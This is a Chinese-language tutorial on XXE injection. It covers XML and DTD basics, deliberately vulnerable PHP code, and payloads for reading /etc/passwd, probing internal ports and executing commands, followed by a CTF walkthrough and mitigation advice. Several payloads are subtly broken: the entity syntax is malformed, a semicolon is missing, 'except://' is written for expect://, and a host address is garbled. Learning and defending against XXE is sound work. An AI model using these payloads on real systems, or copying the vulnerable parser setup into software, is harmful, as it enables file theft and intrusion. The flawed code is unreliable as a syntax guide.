前言
1
前言
XXE漏洞
XXE漏洞全稱(XML External Entity Injection)即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。
XML基礎
XML
XML(EXtensible Markup Language,可擴展標記語言)用來結構化、存儲以及傳輸信息。
XML文檔結構包括3部分:XML聲明、文檔類型定義(可選)和文檔元素

1 <!-- XML聲明(定義了XML的版本和編碼) --> 2 <?xml version="1.0" encoding="ISO-8859-1"?> 3 4 <!-- 文檔類型定義 --> 5 <!DOCTYPE note [ 6 <!ELEMENT note (to,from,heading,body)> 7 <!ELEMENT to (#PCDATA)> 8 <!ELEMENT from (#PCDATA)> 9 <!ELEMENT heading (#PCDATA)> 10 <!ELEMENT body (#PCDATA)> 11 ]> 12 13 <!-- 文檔元素 --> 14 <note> 15 <to>George</to> 16 <from>John</from> 17 <heading>Reminder</heading> 18 <body>Don't forget the meeting!</body> 19 </note>
1.XML聲明
xml聲明以<?開頭,以?>結束。version屬性是必選的,它定義了XML版本。encoding屬性是可選的,它定義了XML進行解碼時所用的字符集
<?xml version="1.0" encoding="ISO-8859-1"?>
2.文檔類型定義
文檔類型定義(Document Type Definition,DTD)用來約束一個XML文檔的書寫規范。
1.文檔類型定義的基礎語法:
<!ELEMENT 元素名 類型>
2.內部定義
將文檔類型定義放在XML文檔中,稱為內部定義,內部定義的格式如下:
<!DOCTYPE 根元素 [元素聲明]>
eg:
<!DOCTYPE note [ <!-- 定義此文檔是note類型 --> <!ELEMENT note (to,from,heading,body)> <!-- 定義note有4個元素:to from heading body --> <!ELEMENT to (#PCDATA)> <!-- 定義to元素為#PCDATA類型 --> <!ELEMENT from (#PCDATA)> <!-- 定義from元素為#PCDATA類型 --> <!ELEMENT heading (#PCDATA)> <!-- 定義heading元素為#PCDATA類型 --> <!ELEMENT body (#PCDATA)> <!-- 定義body元素為#PCDATA類型 --> ]>
3.外部文檔引用
文檔類型定義的內容也可以保存為單獨的DTD文檔
(1)DTD文檔在本地格式
<!DOCTYPE 根元素 SYSTEM "文件名"> <!--eg:<!DOCTYPE note SYSTEM "note.dtd">-->
(2)DTD文檔外網引用
<!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文檔的URL"> <!--eg:<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->
XML漏洞利用
漏洞代碼:
file_get_contents函數讀取了php://input傳入的數據,但是傳入的數據沒有經過任何過濾,直接在loadXML函數中進行了調用並通過了echo函數輸入$username的結果,這樣就導致了XXE漏洞的產生。
<?php libxml_disable_entity_loader(false); $xmlfile=file_get_contents('php://input'); $dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); $creds=simplexml_import_dom($dom); $username=$creds->username; $password=$creds->password; echo 'hello'.$username; ?>
1.文件讀取
通過加載外部實體,利用file://、php://等偽協議讀取本地文件
payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE creds[ <!ELEMENT userename ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM="file:///etc/passwd"]> <creds> <username>&xxe</username> <password>test</password> </creds>
2.內網探測
利用xxe漏洞進行內網探測,如果端口開啟,請求返回的時間會很快,如果端口關閉請求返回的時間會很慢
探測22號端口是否開啟
payload:
<?xml version="1.0"?> <!DOCTYPE creds[ <!ELEMENT userename ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM="http://127.0.0.1.22"]> <creds> <username>&xxe</username> <password>test</password> </creds>
3.內網應用攻擊
通過XXE漏洞進行內網應用攻擊,例如攻擊內網jmx控制台未授權訪問的JBpss漏洞進行攻擊
4.命令執行
利用xxe漏洞可以調用except://偽協議調用系統命令
payload:
<?xml version="1.0"?> <!DOCTYPE creds[ <!ELEMENT userename ANY> <!ELEMENT password ANY> <!ENTITY xxe SYSTEM="except://id"]> <creds> <username>&xxe</username> <password>test</password> </creds>
XXE-CTF實例
目標:http://web.jarvisoj.com:9882/
BP抓包一下
將Content-Type:application/json改成application/xml構造XEE
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]> <tq>&xxe;</tq>
XEE漏洞修補
1.禁用外部實體。在代碼中設置libxml_disable_entity_loader(true)
2.過濾用戶提交的XML數據。過濾關鍵詞為<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.
參考學習:《web安全原理分析與實踐》——XXE漏洞
https://www.freebuf.com/vuls/175451.html 淺談XXE實體注入漏洞
https://www.freebuf.com/column/225780.html xxe從入門到放棄